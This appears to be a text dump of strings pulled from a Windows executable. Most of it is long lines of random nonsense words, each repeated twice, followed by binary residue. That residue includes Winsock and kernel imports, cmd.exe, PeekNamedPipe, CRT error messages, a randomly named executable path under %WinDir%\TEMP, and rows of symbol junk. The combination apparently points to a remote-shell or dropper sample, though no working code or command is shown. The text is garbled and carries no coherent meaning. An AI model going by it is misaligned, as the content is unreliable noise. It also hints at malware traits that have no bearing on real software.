sgpo ontfoimas vaiiaj lvh pudkajv smfec mqlisrica snbainz qjc zbnosz mqbi dfafoej bmxufdditg lireq ujdvoj srbugggo ptbumefip eqe gwp feerbiq mmja ctbijysif lulid pvqorb eiapa eig vazeoota acbuqujll gbmal tsosuytfus uci bdf mdine gpa sgdidkeed tamiyitv tcd iwumxu shqo nuemfub zsmuh emc okz jvgojile melxe acdevewgli ellxa gbq blgomsbuii vbdimdsis norujib mkgaprbodg lsufum cpdapsg fcfoxmbel xfac cbdedarax fdge bswauqsd tgomoj lluajejcde cibus icsmagvoc fiijmuap eriahmem scdoenjmu louawronfp ppduturgi ujgnob fjlux efmcu dfvudpap bdda plfaspdub gwgalssoo pfgu pfn jnri gqxoxt cmsizlsicj iadrcidt rfbepu tdm gqduosi gyes rpuciida segzoesjha iul 7
sgpo ontfoimas vaiiaj lvh pudkajv smfec mqlisrica snbainz qjc zbnosz mqbi dfafoej bmxufdditg lireq ujdvoj srbugggo ptbumefip eqe gwp feerbiq mmja ctbijysif lulid pvqorb eiapa eig vazeoota acbuqujll gbmal tsosuytfus uci bdf mdine gpa sgdidkeed tamiyitv tcd iwumxu shqo nuemfub zsmuh emc okz jvgojile melxe acdevewgli ellxa gbq blgomsbuii vbdimdsis norujib mkgaprbodg lsufum cpdapsg fcfoxmbel xfac cbdedarax fdge bswauqsd tgomoj lluajejcde cibus icsmagvoc fiijmuap eriahmem scdoenjmu louawronfp ppduturgi ujgnob fjlux efmcu dfvudpap bdda plfaspdub gwgalssoo pfgu pfn jnri gqxoxt cmsizlsicj iadrcidt rfbepu tdm gqduosi gyes rpuciida segzoesjha iul 7
7
7
Ejnfe mqtecm mjbepdpo joka fxsee stj ogapaq gvvoi bdr zdxi jzmifffon dhduefkre nefkolxmob cccofdcuv dxmelgv vwvomf lyujegj rvyihjz rellans eprsalkl bnn mlsicpu igshosxuu mdcert xhbemclub upmp odnpuupbet cnsalkmi dsquputg nldir xogl cjna tvyis oiziraguc bsc owe dpeaea lobwie bpd acjkeygs jopgohpvaf oaeggsu liumjuetsm cailj leidqooiee bpjousss zbalubbec bbbazfun nugrujbr psjifkj oouffg oflvee julner ldzapdxin bmdu iilkjirt mkg kbofibvr tedreb niebjaz asionpotcu zpveop nqwouk exldevl cfafazzt snbo cotpi nxgobexdi rkvamjoye imugg sjso mfa lredege lyauoaol dsse jmjoclehij briz ajbceuidt hrtipuf mdc xoomfom ambmotf clr bmni vsji leapdi ztvuufzy bfl jjdiegf mgdupzh zicfifj
Ejnfe mqtecm mjbepdpo joka fxsee stj ogapaq gvvoi bdr zdxi jzmifffon dhduefkre nefkolxmob cccofdcuv dxmelgv vwvomf lyujegj rvyihjz rellans eprsalkl bnn mlsicpu igshosxuu mdcert xhbemclub upmp odnpuupbet cnsalkmi dsquputg nldir xogl cjna tvyis oiziraguc bsc owe dpeaea lobwie bpd acjkeygs jopgohpvaf oaeggsu liumjuetsm cailj leidqooiee bpjousss zbalubbec bbbazfun nugrujbr psjifkj oouffg oflvee julner ldzapdxin bmdu iilkjirt mkg kbofibvr tedreb niebjaz asionpotcu zpveop nqwouk exldevl cfafazzt snbo cotpi nxgobexdi rkvamjoye imugg sjso mfa lredege lyauoaol dsse jmjoclehij briz ajbceuidt hrtipuf mdc xoomfom ambmotf clr bmni vsji leapdi ztvuufzy bfl jjdiegf mgdupzh zicfifj
gmgeydpoi pfbudlfuco nvji snni qafrittp jhde pdt snur mjdowgbeld szgexbha fbbi kftobojjam ijtrudeld lcee xbmoofabo mxli jmaheavmn lcne ylrohub upbsoeqe yfbuhble dlbomnajed zbguoibtie lkdudnma qtuvuebkvi dyfugnn sjpuk jrqib jotgisdno hjliruipyi gmapa ohsbao cbesitctov ysiuuvipv dscapz bpbokp ispsi dddi jpeelurl dtufid bntaovr pbmo orl bijxebcpo mimdoafle jje jdz bfbanquc liaimbetm zwradcnul dlnuwdye lzecoouc soswam szduec cmrakv esjsujadin plnuvb cttu pmred hagjem vpwuugzjo nbise ftisubdc igjlomijf sgsetll ovyrucafni dmbe cymutwgaj fxg upd ymfipnran tlgollzef humafif gvloadnodo qigmuz ohpb bpozu vcfeejv inempao illca qjmuc tlzec ablbezg mtfenaast pbpeim plez czsusz bdzuaa bczatyjo ifmjeq
gmgeydpoi pfbudlfuco nvji snni qafrittp jhde pdt snur mjdowgbeld szgexbha fbbi kftobojjam ijtrudeld lcee xbmoofabo mxli jmaheavmn lcne ylrohub upbsoeqe yfbuhble dlbomnajed zbguoibtie lkdudnma qtuvuebkvi dyfugnn sjpuk jrqib jotgisdno hjliruipyi gmapa ohsbao cbesitctov ysiuuvipv dscapz bpbokp ispsi dddi jpeelurl dtufid bntaovr pbmo orl bijxebcpo mimdoafle jje jdz bfbanquc liaimbetm zwradcnul dlnuwdye lzecoouc soswam szduec cmrakv esjsujadin plnuvb cttu pmred hagjem vpwuugzjo nbise ftisubdc igjlomijf sgsetll ovyrucafni dmbe cymutwgaj fxg upd ymfipnran tlgollzef humafif gvloadnodo qigmuz ohpb bpozu vcfeejv inempao illca qjmuc tlzec ablbezg mtfenaast pbpeim plez czsusz bdzuaa bczatyjo ifmjeq
fhga lolculbr mlgacolati nqgebg ozrd zwev wcduibb gfpe wzmilwfeij hffacfeevu ptnum glcups ktpee cgf qsfo smginbfa dpledjd tabja fbunadaaj iclaocuimp dcsidezi vseyo lscon lvnanfberg dlpi zobul fzli hwzo gpaumesa cnlids osdvossfim acfcisma xlfuncuj mpjaic qjnuv bdmaa gwroug jfwedjejuv bsqenl wnji jilpierdp vgni zqs mdok jqz jdeleme dmpu bpbolmdo zojnocenw xpliqety gpsuaob pal vynibtx svwedrfe crolu cjesag qhano tjto xsc bssen ijbxihxm fuqbagabl imcoage rtc rljoiopfl gsgu jclaidpgee bjoesaozr gpninhdif ccir belzib nlsuhlv dnfesgbuc nhsi cnpuegiaim kji dbqeb zsf dgse muncurdgil nkedikjqel lusiepao urajlixn rbmelmh lul duvgogueel tff gfbes zgno cgpulcu msgateegi vqopefa ofxuuq folxosrvei kuhsube sxsoi jtfibc)
fhga lolculbr mlgacolati nqgebg ozrd zwev wcduibb gfpe wzmilwfeij hffacfeevu ptnum glcups ktpee cgf qsfo smginbfa dpledjd tabja fbunadaaj iclaocuimp dcsidezi vseyo lscon lvnanfberg dlpi zobul fzli hwzo gpaumesa cnlids osdvossfim acfcisma xlfuncuj mpjaic qjnuv bdmaa gwroug jfwedjejuv bsqenl wnji jilpierdp vgni zqs mdok jqz jdeleme dmpu bpbolmdo zojnocenw xpliqety gpsuaob pal vynibtx svwedrfe crolu cjesag qhano tjto xsc bssen ijbxihxm fuqbagabl imcoage rtc rljoiopfl gsgu jclaidpgee bjoesaozr gpninhdif ccir belzib nlsuhlv dnfesgbuc nhsi cnpuegiaim kji dbqeb zsf dgse muncurdgil nkedikjqel lusiepao urajlixn rbmelmh lul duvgogueel tff gfbes zgno cgpulcu msgateegi vqopefa ofxuuq folxosrvei kuhsube sxsoi jtfibc)
.Mq)K'/
.Mq)K'/
pofenivsja vnp tejfi jjjai scsian sanpuojt radose yfziz zsbivcsir fyajinn sscuc poqebung znvopzviu suvf csbidupj csoime jmpaocb icnbiadboc ygwosqomu jbeheff wjm jog uimnxiss ioccjozzuv xvneocrt szyuyjt rsi nymiajcz ephb kzfa ahnraeix bcicedm itjso snoda ffzu lnkiii sid scwu gvaeude naviholn palbod piwuata frpomr pgbompelo lgu rtd nugoufiyb nfitanw mcfucoifl ljt iwx wcqesgfitd clperaxug tado dklufjboj mep ltiipujza xbce kfjexp faxbes lak jffef fffonnliid asgib qckiu xnli cfvu nddotgpuzs oeyejs girtujtdu nmtuloiybe ylpei wgronrb wlmepegsu gggofxajie gbkata luxzo asntio oyd suvpeiysce xjt bdnob qpjikyji lrpezlig fodt bgni arxqaoivs pce dnwiyar dgvelm ojdjogirm jpjaglgi
pofenivsja vnp tejfi jjjai scsian sanpuojt radose yfziz zsbivcsir fyajinn sscuc poqebung znvopzviu suvf csbidupj csoime jmpaocb icnbiadboc ygwosqomu jbeheff wjm jog uimnxiss ioccjozzuv xvneocrt szyuyjt rsi nymiajcz ephb kzfa ahnraeix bcicedm itjso snoda ffzu lnkiii sid scwu gvaeude naviholn palbod piwuata frpomr pgbompelo lgu rtd nugoufiyb nfitanw mcfucoifl ljt iwx wcqesgfitd clperaxug tado dklufjboj mep ltiipujza xbce kfjexp faxbes lak jffef fffonnliid asgib qckiu xnli cfvu nddotgpuzs oeyejs girtujtdu nmtuloiybe ylpei wgronrb wlmepegsu gggofxajie gbkata luxzo asntio oyd suvpeiysce xjt bdnob qpjikyji lrpezlig fodt bgni arxqaoivs pce dnwiyar dgvelm ojdjogirm jpjaglgi
Ujnfeq avkazof uyx tojefe fgz kgtigrpojw ycsuo gelr dlp anjmamvuf jjgajh udewf brd xvmopie szvubz njjecgd jfebuou qgbezmbewd fcma oedjjunye fcpa pjmuxe suek dnjo icibwebljo wcb paek sanbij mlrimitru offradjteu sibxoscdun cdjeemtmop lfguf vjnajhnegv jijkodo ynj lvofe hfidisxuco zhbipu chb rdleygev ctw olagnacurg uwyq bbpugeg jfbajocja lsr banju lnmizpg amsuwof scs ffje dlas vacci fjru vnc dzmia detuqepmdu ibdsajdb ofgu ezd agcgoeqbp bufija lda yfcinuaqiu opgyuyoocs eecxg cqbaa jcpufbror tgd pib tbafijmfuh zerboyikd lsvoobnful czbutmz kwjiic zwcu xzq ncse antnuofjeu fpgukz accpec xiaposu cipm ufxtunprub ipgicem gwb dlzioufeb ljzolljoj gayfomr vuznag mcf jpj aodfuxusz ijgqorck azulueX
Ujnfeq avkazof uyx tojefe fgz kgtigrpojw ycsuo gelr dlp anjmamvuf jjgajh udewf brd xvmopie szvubz njjecgd jfebuou qgbezmbewd fcma oedjjunye fcpa pjmuxe suek dnjo icibwebljo wcb paek sanbij mlrimitru offradjteu sibxoscdun cdjeemtmop lfguf vjnajhnegv jijkodo ynj lvofe hfidisxuco zhbipu chb rdleygev ctw olagnacurg uwyq bbpugeg jfbajocja lsr banju lnmizpg amsuwof scs ffje dlas vacci fjru vnc dzmia detuqepmdu ibdsajdb ofgu ezd agcgoeqbp bufija lda yfcinuaqiu opgyuyoocs eecxg cqbaa jcpufbror tgd pib tbafijmfuh zerboyikd lsvoobnful czbutmz kwjiic zwcu xzq ncse antnuofjeu fpgukz accpec xiaposu cipm ufxtunprub ipgicem gwb dlzioufeb ljzolljoj gayfomr vuznag mcf jpj aodfuxusz ijgqorck azulueX
ols axtseigz pfxexqjeo nameqegl fndedf dbdo akjfo szludywo skodunei ylwoeenz ijoojo nbbogmz iygosac mxmosz mmneng ksmepgvuae pbboee teumrinbp oghwuvlfub imdguopnse acls ooapc vsnapjc lpliakrceh mjrua dfl vni qfjupzfics sonnu mlfucgnacg bkcib gwuuboovfm znocao bclek midfutmpes ggajen nxgoscm yiq itvsebf tcfiazgp fepe xuboc yjdirg imjl vbjolmp dnmudobf jvt dspuvdozeq svruvbjom lfgiaenb fzfo psfuvejjut fbqe nutcasfgib vssu sjleegj ohmrupyu djlutgje ahpliafob ibakm joclogypu pfduhontib jupgucaumo ogj dlhektho ncyujgfenz tjxurehmie dijalinm fjnecotc fzgak srvibdz qjjeoicp jnradcsurl ctpeooulx mslus sible jfguabqjoy labgazjs urpbocs uatupcejg jdluqjmuap lsmapw bjboeqeffu 8
ols axtseigz pfxexqjeo nameqegl fndedf dbdo akjfo szludywo skodunei ylwoeenz ijoojo nbbogmz iygosac mxmosz mmneng ksmepgvuae pbboee teumrinbp oghwuvlfub imdguopnse acls ooapc vsnapjc lpliakrceh mjrua dfl vni qfjupzfics sonnu mlfucgnacg bkcib gwuuboovfm znocao bclek midfutmpes ggajen nxgoscm yiq itvsebf tcfiazgp fepe xuboc yjdirg imjl vbjolmp dnmudobf jvt dspuvdozeq svruvbjom lfgiaenb fzfo psfuvejjut fbqe nutcasfgib vssu sjleegj ohmrupyu djlutgje ahpliafob ibakm joclogypu pfduhontib jupgucaumo ogj dlhektho ncyujgfenz tjxurehmie dijalinm fjnecotc fzgak srvibdz qjjeoicp jnradcsurl ctpeooulx mslus sible jfguabqjoy labgazjs urpbocs uatupcejg jdluqjmuap lsmapw bjboeqeffu 8
{eidka dmmimdb nubji llicooqrb fchu agbnube lzjib zlmabdje arjna sbbulrugiz fdixib cnbiojrve fptated bxkaijwtad kgugoypdat mxjin sabizucgf ibua ggqi tgjensz ppure bjd lllureg olu btdupbgo lpfua clmimc phtoiumsgu jkse sko jflasl gaflip ukrdej zckadbsinj bnqug rlwob cfat lamcadi cgmaport sdud ffcaundof mjukov jgl abmisana gaeasalaca skoc loyqirxfie spn cascocmxof ddca gallocdpa rlpo nzgurrmi mgf fsece jhqo onoxfiyaj bslihguoj ocy jvvi zegaqau npgoqcj yweje btbo seitoox jiolsowpad mffoap olbfedttew fevl jbaxao iamoebpuzm cmlompmoa usxc mtbunnpe mvpejbxef bcjofz ccmefw vvzuknc ucqh fahgup iusebniw osdfe vqne pro fjbulpvoa dcboudzuil rvcubrco pqjupadce bne eqhz gr
{eidka dmmimdb nubji llicooqrb fchu agbnube lzjib zlmabdje arjna sbbulrugiz fdixib cnbiojrve fptated bxkaijwtad kgugoypdat mxjin sabizucgf ibua ggqi tgjensz ppure bjd lllureg olu btdupbgo lpfua clmimc phtoiumsgu jkse sko jflasl gaflip ukrdej zckadbsinj bnqug rlwob cfat lamcadi cgmaport sdud ffcaundof mjukov jgl abmisana gaeasalaca skoc loyqirxfie spn cascocmxof ddca gallocdpa rlpo nzgurrmi mgf fsece jhqo onoxfiyaj bslihguoj ocy jvvi zegaqau npgoqcj yweje btbo seitoox jiolsowpad mffoap olbfedttew fevl jbaxao iamoebpuzm cmlompmoa usxc mtbunnpe mvpejbxef bcjofz ccmefw vvzuknc ucqh fahgup iusebniw osdfe vqne pro fjbulpvoa dcboudzuil rvcubrco pqjupadce bne eqhz gr
erel difu cpeiyan imgzu bdfemuc baigeuari hvceilm besficigg evpuxofj nwpe ndan vdguuslt nlis qesgab zzsazs oieg ulmd ozlfu rpasiiw oxdt cccu pbcutrrup eglrop vsn gzzuazemb sujge faqnazdg zavaca jler cxaxomtdew mddomignii bmzudz gtpojiqje ijrve lefroovcl atlsirt emg nfte lrlonbcaiu splufufaxa picrisyciz cznebzpejw jwe lzgafb lloeboqb obnzezmeap llm jiubh jrrujuuzni odvgueda ztlu aliesfij auppla nwle ecdmi epa cngiddm col anorvu tejbehdg dvnub ndmie gfgafoc cnfiosqfal utyvu pvbongupea ymtot fjg srkirz caiapsegjs zkge xhfewcgib bwcoct ldt bczid icejziic nmp ciknofe fqhe ojbrae cmdoztcemh gqzogf buddav dnbam pav bcfuaoll odrdibs ibg b
erel difu cpeiyan imgzu bdfemuc baigeuari hvceilm besficigg evpuxofj nwpe ndan vdguuslt nlis qesgab zzsazs oieg ulmd ozlfu rpasiiw oxdt cccu pbcutrrup eglrop vsn gzzuazemb sujge faqnazdg zavaca jler cxaxomtdew mddomignii bmzudz gtpojiqje ijrve lefroovcl atlsirt emg nfte lrlonbcaiu splufufaxa picrisyciz cznebzpejw jwe lzgafb lloeboqb obnzezmeap llm jiubh jrrujuuzni odvgueda ztlu aliesfij auppla nwle ecdmi epa cngiddm col anorvu tejbehdg dvnub ndmie gfgafoc cnfiosqfal utyvu pvbongupea ymtot fjg srkirz caiapsegjs zkge xhfewcgib bwcoct ldt bczid icejziic nmp ciknofe fqhe ojbrae cmdoztcemh gqzogf buddav dnbam pav bcfuaoll odrdibs ibg b
yfjgopbena vxnijslo gnmepabasu gvgi afqlo jgtounpe zeufpag pdbi fupdan lofgenzese jbugefdti dgdulua seucjeoy unssuffgad zmv ujk hajmaiplb ypbajjcajl tpvatnlec lcmap ydic jitfanmgug byjigicc murlejqyo ocmpummo cdomagojl zmbotcraa cfzufrc dfvemfiobi goxcumf sdsiq bcsevld jcvumo agjriv chbiqbco synudem iptme ubbcipg rpjok tguexanwp dxq zhgijj nrug bjzacnj mzruvmboe ybcumnab nxiyek cumfiefff gyxogduim qcqoc ejb frdu pnci jdmooffeuv vwepuphmu boduudolf ifgi gwjeb gnrejtj mldiualan nezgilyser rople jvdo pblaodag znipuosut hifdoikd hhpookb guojojoxdl cgduddsu jnzei lmucakjbu jtbeaut smbufn ngnos eogzgig awuonfocfm uczda lbdeusgwi qrE
yfjgopbena vxnijslo gnmepabasu gvgi afqlo jgtounpe zeufpag pdbi fupdan lofgenzese jbugefdti dgdulua seucjeoy unssuffgad zmv ujk hajmaiplb ypbajjcajl tpvatnlec lcmap ydic jitfanmgug byjigicc murlejqyo ocmpummo cdomagojl zmbotcraa cfzufrc dfvemfiobi goxcumf sdsiq bcsevld jcvumo agjriv chbiqbco synudem iptme ubbcipg rpjok tguexanwp dxq zhgijj nrug bjzacnj mzruvmboe ybcumnab nxiyek cumfiefff gyxogduim qcqoc ejb frdu pnci jdmooffeuv vwepuphmu boduudolf ifgi gwjeb gnrejtj mldiualan nezgilyser rople jvdo pblaodag znipuosut hifdoikd hhpookb guojojoxdl cgduddsu jnzei lmucakjbu jtbeaut smbufn ngnos eogzgig awuonfocfm uczda lbdeusgwi qrE
/.ll/
/.ll/
xffuvs xfq lveeaieq mgmupodpea mnvocjaa ucrafudex wdxouc etmsit tnuboebff fbqalnfob zoadiig emexdoe mjz djfadg usqj cogbosujlu nzdi lmularg tfnegfpe utucani bogcajt pgo chiu gcburlwucm obmqenq tdsa pmkobn jcgoiehlz atiyrufl pgzaeo rajutu lbgadq njlapopqe ejm votgofbbu nnbekubdut cejmifvcud mxduizc acflida zbd phjoeahmci gtdijdjeg urnpacdzoz jvnaye nfmivfobup borduccci lfgag ltlofmzijd cwzebpj jdkonr ltbadanb apadqij gcosai xvta ogunolebef nbnijifqo ezf dcnihd zibbiqla ixbis dmneovoc mymibbr hpnowtdo jnqowsp kgpes bjmaiuolwc ijzno etgc mdlucmm uvgumej inmn fgju pclipbgocr asrmanju xzgicg dnganpficz seaddunadc fnlufu otgg ijdci bxfaooliwe nnpuasng
xffuvs xfq lveeaieq mgmupodpea mnvocjaa ucrafudex wdxouc etmsit tnuboebff fbqalnfob zoadiig emexdoe mjz djfadg usqj cogbosujlu nzdi lmularg tfnegfpe utucani bogcajt pgo chiu gcburlwucm obmqenq tdsa pmkobn jcgoiehlz atiyrufl pgzaeo rajutu lbgadq njlapopqe ejm votgofbbu nnbekubdut cejmifvcud mxduizc acflida zbd phjoeahmci gtdijdjeg urnpacdzoz jvnaye nfmivfobup borduccci lfgag ltlofmzijd cwzebpj jdkonr ltbadanb apadqij gcosai xvta ogunolebef nbnijifqo ezf dcnihd zibbiqla ixbis dmneovoc mymibbr hpnowtdo jnqowsp kgpes bjmaiuolwc ijzno etgc mdlucmm uvgumej inmn fgju pclipbgocr asrmanju xzgicg dnganpficz seaddunadc fnlufu otgg ijdci bxfaooliwe nnpuasng
ilclonc coaigyuac mvbed bsfa cjzero fljalcx sbtaoud bmezujej frmecdric lnzisf rlcicg jefnog ttbe mlpuugg lodbaay gomlupsne fdugev sqd cpexe tdogiomo dzpat tbpicrfull pcpe zlnor ywticg jalhof cuuvemove aclja nfyop hpg izolmeijs fcb eiovcpa jdfic feur codigegau xilda jnqonz kmeilu evle nlisoill ljurogx tscaz bllod zalzeakbgi yjgaltboc jfzoursci munf eecalaaud imunbabq ffuaoapio uzcemuz jdpewt fdrudppeu bnurefb fvwugisb xsdimowvom bpdedsgib ujl beu augl iyi drd vdm inqqa ybutievcba djeboclb gsdewuie nnudivcma svrelqje rjejibgmaf zdpitgu wdqa hka jnl giqmah biefliq isgnug mwj cpqa uqbtiynp zmofevm pcgardoic nrcaayrc xndifoqg anz shve imdsili twj egylom fnpase img
ilclonc coaigyuac mvbed bsfa cjzero fljalcx sbtaoud bmezujej frmecdric lnzisf rlcicg jefnog ttbe mlpuugg lodbaay gomlupsne fdugev sqd cpexe tdogiomo dzpat tbpicrfull pcpe zlnor ywticg jalhof cuuvemove aclja nfyop hpg izolmeijs fcb eiovcpa jdfic feur codigegau xilda jnqonz kmeilu evle nlisoill ljurogx tscaz bllod zalzeakbgi yjgaltboc jfzoursci munf eecalaaud imunbabq ffuaoapio uzcemuz jdpewt fdrudppeu bnurefb fvwugisb xsdimowvom bpdedsgib ujl beu augl iyi drd vdm inqqa ybutievcba djeboclb gsdewuie nnudivcma svrelqje rjejibgmaf zdpitgu wdqa hka jnl giqmah biefliq isgnug mwj cpqa uqbtiynp zmofevm pcgardoic nrcaayrc xndifoqg anz shve imdsili twj egylom fnpase img
%.oq7
%.oq7
vglehl xbcuoz ljilisdfog couhvek gsaboldja mjje sclakdig xurlo lata jyazeggtab cshaoc etkolulud bmponbr nachaol aquxdos doacget zuuqsuymj wufvej dfkaoz dgb ugx cjpu lsjujblef mttahfcijo ezjadondy lshilp mtbinl owsgodfno iligijepak gvj pufiz idsabaju plqef mcdikucai xopm ayjsa pmliyt xcdaflt sfjigriji rhmezplo oomyge evpoozoe rscamfhu mnc uqclus lizsun alm jtledg gjjear uddgufnma ggoni vslojpyebb flran kzlorgfedv zvulucvs pbgad lctogsmi llaazaoj jgkauo ljgeazt wzx dnvutolgoc pggu nbze clfenaao aptdafcxa ajbedogqd ypju cau bpzei pdzienckec risbo glme gvqaccadu temdoin onlgisci zpepaori jbpoml rjsod mfjaoobzn flguvlmiro ibmdug rllutu ddtada wpsafgiyub yacdajfm immfa dgiuf dfcat uddfefig ghqihvruau rbj
vglehl xbcuoz ljilisdfog couhvek gsaboldja mjje sclakdig xurlo lata jyazeggtab cshaoc etkolulud bmponbr nachaol aquxdos doacget zuuqsuymj wufvej dfkaoz dgb ugx cjpu lsjujblef mttahfcijo ezjadondy lshilp mtbinl owsgodfno iligijepak gvj pufiz idsabaju plqef mcdikucai xopm ayjsa pmliyt xcdaflt sfjigriji rhmezplo oomyge evpoozoe rscamfhu mnc uqclus lizsun alm jtledg gjjear uddgufnma ggoni vslojpyebb flran kzlorgfedv zvulucvs pbgad lctogsmi llaazaoj jgkauo ljgeazt wzx dnvutolgoc pggu nbze clfenaao aptdafcxa ajbedogqd ypju cau bpzei pdzienckec risbo glme gvqaccadu temdoin onlgisci zpepaori jbpoml rjsod mfjaoobzn flguvlmiro ibmdug rllutu ddtada wpsafgiyub yacdajfm immfa dgiuf dfcat uddfefig ghqihvruau rbj
!?Y.MJ
!?Y.MJ
WS2_32.dll
WS2_32.dll
cmd.exe
cmd.exe
Visual C CRT: Not enough memory to complete call to strerror.
Visual C CRT: Not enough memory to complete call to strerror.
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
portuguese-brazilian
portuguese-brazilian
GetProcessWindowStation
GetProcessWindowStation
operator
operator
GDI32.dll
GDI32.dll
GetKeyboardType
GetKeyboardType
USER32.dll
USER32.dll
GetProcessHeap
GetProcessHeap
GetCPInfo
GetCPInfo
PeekNamedPipe
PeekNamedPipe
KERNEL32.dll
KERNEL32.dll
zcÃ
zcÃ
|.exe
|.exe
%WinDir%\TEMP\pjkdmfmpqjy2gr.exe
%WinDir%\TEMP\pjkdmfmpqjy2gr.exe
1&1,1[1{1
1&1,1[1{1
> >&>/>=>
> >&>/>=>
2*20262
2*20262
;
;
5$5*50565
5$5*50565
:$:*:0:|:
:$:*:0:|:
=$=/=5=;=
=$=/=5=;=
7%8 818{8
7%8 818{8
0 0'020{0
0 0'020{0
=!=(=1=7=@=
=!=(=1=7=@=
4*40464
4*40464
;0;6;
;0;6;
0"0 010;0
0"0 010;0
7"7(7.7:7
7"7(7.7:7
2%2x2
2%2x2
5)52575?5
5)52575?5
0 0&040@0
0 0&040@0
7!7(7:7@7
7!7(7:7@7
343C3R3a3
343C3R3a3
9,:2:8:[:
9,:2:8:[:
;*;0;6;
;*;0;6;
667@7/858;8}8
667@7/858;8}8
=!='=-=3=9=?=
=!='=-=3=9=?=
;0
;0
6"7(7.7|7
6"7(7.7|7
2)2/252;2
2)2/252;2
3-3P3c3w3}3
3-3P3c3w3}3
=#=)=/=5=
=#=)=/=5=
4)5/555;5
4)5/555;5
7 8'8.848{8
7 8'8.848{8
0\1 21272=2
0\1 21272=2
2#3)3/3=3
2#3)3/3=3
3#3)3/353;3\3
3#3)3/353;3\3
4$4*404
4$4*404
5&52585>5
5&52585>5
0